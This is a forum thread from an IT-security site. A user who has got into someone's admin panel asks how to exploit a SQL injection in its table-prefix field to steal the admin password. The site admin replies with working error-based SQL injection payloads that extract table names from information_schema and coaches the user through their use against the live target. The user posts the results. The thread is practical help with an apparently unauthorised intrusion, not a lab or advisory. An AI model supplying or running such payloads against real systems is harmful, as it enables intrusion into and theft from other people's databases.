Waraxe IT Security Portal
Login or Register
October 18, 2024
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 108
Members: 0
Total: 108
Full disclosure
SEC Consult SA-20241009-0 :: Local Privilege Escalation via MSI installer in Palo Alto Networks GlobalProtect (CVE-2024-9473)
APPLE-SA-10-03-2024-1 iOS 18.0.1 and iPadOS 18.0.1
Some SIM / USIM card security (and ecosystem) info
SEC Consult SA-20240930-0 :: Local Privilege Escalation via MSI Installer in Nitro PDF Pro (CVE-2024-35288)
Backdoor.Win32.Benju.a / Unauthenticated Remote CommandExecution
Backdoor.Win32.Prorat.jz / Remote Stack Buffer Overflow (SEH)
Backdoor.Win32.Amatu.a / Remote Arbitrary File Write (RCE)
Backdoor.Win32.Agent.pw / Remote Stack Buffer Overflow (SEH)
Backdoor.Win32.Boiling / Remote Command Execution
Defense in depth -- the Microsoft way (part 88): a SINGLEcommand line shows about 20, 000 instances of CWE-73
SEC Consult SA-20240925-0 :: Uninstall Password Bypass in BlackBerry CylanceOPTICS Windows Installer Package (CVE-2024-35214)
Apple iOS 17.2.1 - Screen Time Passcode Retrieval (MitigationBypass)
CyberDanube Security Research 20240919-0 | Multiple Vulnerabilities in Netman204
Submit Exploit CVE-2024-42831
Stored XSS in "Edit Profile" - htmlyv2.9.9
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Sql injection -> Found possible SQL injection inside admin form field
Post new topicReply to topic View previous topic :: View next topic
Found possible SQL injection inside admin form field
PostPosted: Thu Oct 14, 2010 9:34 am Reply with quote
sabb3r
Beginner
Beginner
Joined: Oct 14, 2010
Posts: 3




Alright, been ripping my hair out with this injection, its from an admin panel which I managed to get into which contains the mysql connection settings for the app, I have tried all the union, select etc.. syntax and still not getting anywhere..

this is the error I get if I insert ' into the field which asks for table prefix...

Could not create DB table '\'bans'
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'bans (created timestamp(14) NOT NULL, userid int(11) default NULL, banneduseri' at line 1

I already have the DB name, user, pass but mysql doesnt allow remote connections so its pretty usless? Obviously trying to get the admin password, anyone have any suggestions? Getting a full list of tables would be a start...
View user's profile Send private message
PostPosted: Thu Oct 14, 2010 5:50 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




It seems, that you are able to manipulate with "CREATE TABLE" sql query.
I did some tests @localhost and successful exploitation was possible.

You have error feedback from target server, so you can see sql error messages? Try this two test strings:

Code:

foo SELECT IF(1,(SELECT 1 UNION ALL SELECT 1),1)--

foo SELECT IF(0,(SELECT 1 UNION ALL SELECT 1),1)--


Do you see error message "#1242 - Subquery returns more than 1 row"?

More advanced test:

Code:

foo SELECT COUNT(*),CONCAT((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE()LIMIT 2,1),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x--


It should reveal one of the table names from current database:

Code:

#1062 - Duplicate entry 'cpg14x_bridge1' for key 1


Please let me know about results and be sure to include sql error messages.
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Fri Oct 15, 2010 3:29 am Reply with quote
sabb3r
Beginner
Beginner
Joined: Oct 14, 2010
Posts: 3




You are a legend warexe, thanks for your quick response!

The first test I did the error came as

first test results -

Could not create DB table 'foo SELECT IF(1,(SELECT 1 UNION ALL SELECT 1),1)-- bans'
Subquery returns more than 1 row

after attempting it again...

Could not create DB table 'foo SELECT IF(1,(SELECT 1 UNION ALL SELECT 1),1)-- bans'
Table 'foo' already exists

second test -

Could not create DB table 'foo SELECT IF(0,(SELECT 1 UNION ALL SELECT 1),1)-- connections'
Table 'foo' already exists

third test -

Could not create DB table 'foo SELECT COUNT(*),CONCAT((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE()LIMIT 2,1),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x-- bans'
Table 'foo' already exists
View user's profile Send private message
PostPosted: Fri Oct 15, 2010 8:49 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Well, as sideproduct, you will have new tables created.
If you can drop those new tables, like 'foo', then do it.
Or use different table name every time:
foo01,foo02,foo03 ...

Try that last test, that I was suggesting, with different table name, as explained above. If you see sql error message, let me know.
"Subquery returns more ..." error message is good sign and shows, that
target system acts as expected.
View user's profile Send private message Send e-mail Visit poster's website
Found possible SQL injection inside admin form field
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.043 Seconds